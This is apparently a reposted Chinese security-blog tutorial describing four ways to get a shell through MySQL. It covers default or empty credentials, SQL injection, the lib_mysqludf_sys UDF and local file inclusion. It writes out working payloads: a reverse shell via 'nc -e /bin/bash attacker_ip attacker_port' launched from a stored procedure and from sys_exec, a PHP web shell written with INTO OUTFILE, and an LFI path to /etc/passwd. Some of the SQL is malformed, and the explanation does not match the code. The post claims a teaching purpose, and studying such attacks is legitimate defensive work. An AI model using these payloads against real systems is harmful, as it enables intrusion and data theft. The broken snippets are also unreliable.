一、利用未授权访问漏洞getshell
-
扫描网络中的MySQL服务
-
使用公开的默认凭证
-
使用已知的凭证
-
利用空口令漏洞
-
利用反向代理
二、利用SQL 注入漏洞getshell
-
找到目标网站上的SQL注入漏洞
-
利用SQL注入漏洞获取数据库信息
-
利用获取的数据库凭证连接到MySQL服务器
-
创建MySQL存储过程获取Shell权限
#sqlDELIMITER //CREATE PROCEDURE getshell()BEGINDECLARE cmd varchar(255);SET cmd = 'nc -e /bin/bash attacker_ip attacker_port';SELECT INTO OUTFILE '/tmp/backdoor.sh' cmd;END //DELIMITER ;
该存储过程创建一个名为"getshell"的存储过程,执行该存储过程时,将在/tmp目录下创建一个名为"backdoor.sh"的脚本文件,并在该文件中写入nc反向Shell连接代码。
执行存储过程获取Shell权限 通过SQL注入漏洞,执行刚刚创建的MySQL存储过程,以获取Shell权限。例如: #php
SELECT * FROM table WHERE id = 1 INTO OUTFILE '/tmp/1.php' LINES TERMINATED BY 'n<?php system($_GET["cmd"]); ?>n';
CALL getshell();
在上述示例中,使用SELECT INTO OUTFILE语句将nc反向Shell连接代码写入/tmp/backdoor.sh文件,然后通过执行存储过程getshell()启动nc反向Shell连接,最终成功获取Shell权限。 三、利用 UDF 功能的漏洞
用户定义函数(User-Defined Functions,简称UDF)是MySQL中一种自定义函数的机制,可以使用C/C++等语言编写自定义函数,并将其作为MySQL内置函数来使用。由于UDF具有强大的功能和灵活性,同时也存在安全风险。如果MySQL服务器上的UDF功能存在漏洞,则攻击者可以利用该漏洞获取MySQL Shell权限。以下是一种可能的攻击方法:
查找目标系统上是否存在UDF功能 使用MySQL客户端工具(如mysql、Navicat等)连接到目标系统,并执行以下命令查看是否存在用户定义函数: #sql
SHOW FUNCTION STATUS;
利用已知的UDF漏洞获取MySQL Shell权限 如果目标系统存在UDF功能,可以搜索已知的UDF漏洞并利用其获取Shell权限。例如,如果存在lib_mysqludf_sys UDF命令执行漏洞。 lib_mysqludf_sys是一种MySQL UDF,可以执行系统命令。如果该UDF未正确配置或未得到适当限制,攻击者可以使用该UDF执行任意系统命令,包括获取Shell权限。 利用此漏洞的方法是: 首先下载并编译lib_mysqludf_sys: #ruby
wget https://github.com/mysqludf/lib_mysqludf_sys/archive/master.zip
unzip master.zip
cd lib_mysqludf_sys-master/
gcc -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so
然后将编译好的lib_mysqludf_sys.so文件上传到目标系统上的临时目录,例如/tmp目录。 在MySQL客户端中执行以下命令加载lib_mysqludf_sys.so: #sql
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
执行任意系统命令获取Shell权限: #java
SELECT sys_exec('nc -e /bin/bash attacker_ip attacker_port');
在上述示例中,使用sys_exec函数执行了nc反向Shell连接代码,成功获取了Shell权限。 四、利用文件包含漏洞
文件包含漏洞是指Web应用程序中的一个漏洞,攻击者可以通过该漏洞获取Web服务器上的敏感文件,包括配置文件、密码文件等。如果Web应用程序使用的是MySQL数据库,则攻击者可以尝试利用文件包含漏洞获取MySQL Shell权限。以下是一种可能的攻击方法:
查找目标系统上是否存在文件包含漏洞 使用Web漏洞扫描器或手动测试方法,查找目标系统上是否存在文件包含漏洞。常见的文件包含漏洞类型包括LFI(Local File Inclusion)和RFI(Remote File Inclusion)。
利用文件包含漏洞读取敏感文件 如果存在文件包含漏洞,则攻击者可以通过该漏洞读取Web服务器上的敏感文件,包括Web应用程序的配置文件和密码文件等。例如,假设存在以下LFI漏洞: #bashhttp://example.com/index.php?page=../../../../etc/passwd
使用上述URL可以将/etc/passwd文件读取到Web页面中。攻击者可以查看Web服务器上的文件系统,并查找包含数据库连接信息的配置文件。
获取MySQL连接信息并连接到MySQL数据库 在读取到包含数据库连接信息的配置文件后,攻击者可以获得MySQL数据库的用户名、密码、主机地址和端口号等信息。然后,使用这些信息连接到MySQL数据库: #css
mysql -h [host] -P [port] -u [username] -p
获取MySQL Shell权限 一旦连接到MySQL数据库,攻击者可以尝试使用已知的漏洞或利用尚未公开的漏洞获取MySQL Shell权限。例如,可以使用MySQL UDF漏洞、MySQL客户端工具漏洞等获取Shell权限。 - End -
点击下方名片,关注我们 觉得内容不错,就点下“赞”和“在看” 如果不想错过新的内容推送,可以设为星标 哦
原文始发于微信公众号(希石安全团队):【漏洞浅谈】Mysql get shell四姿势
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论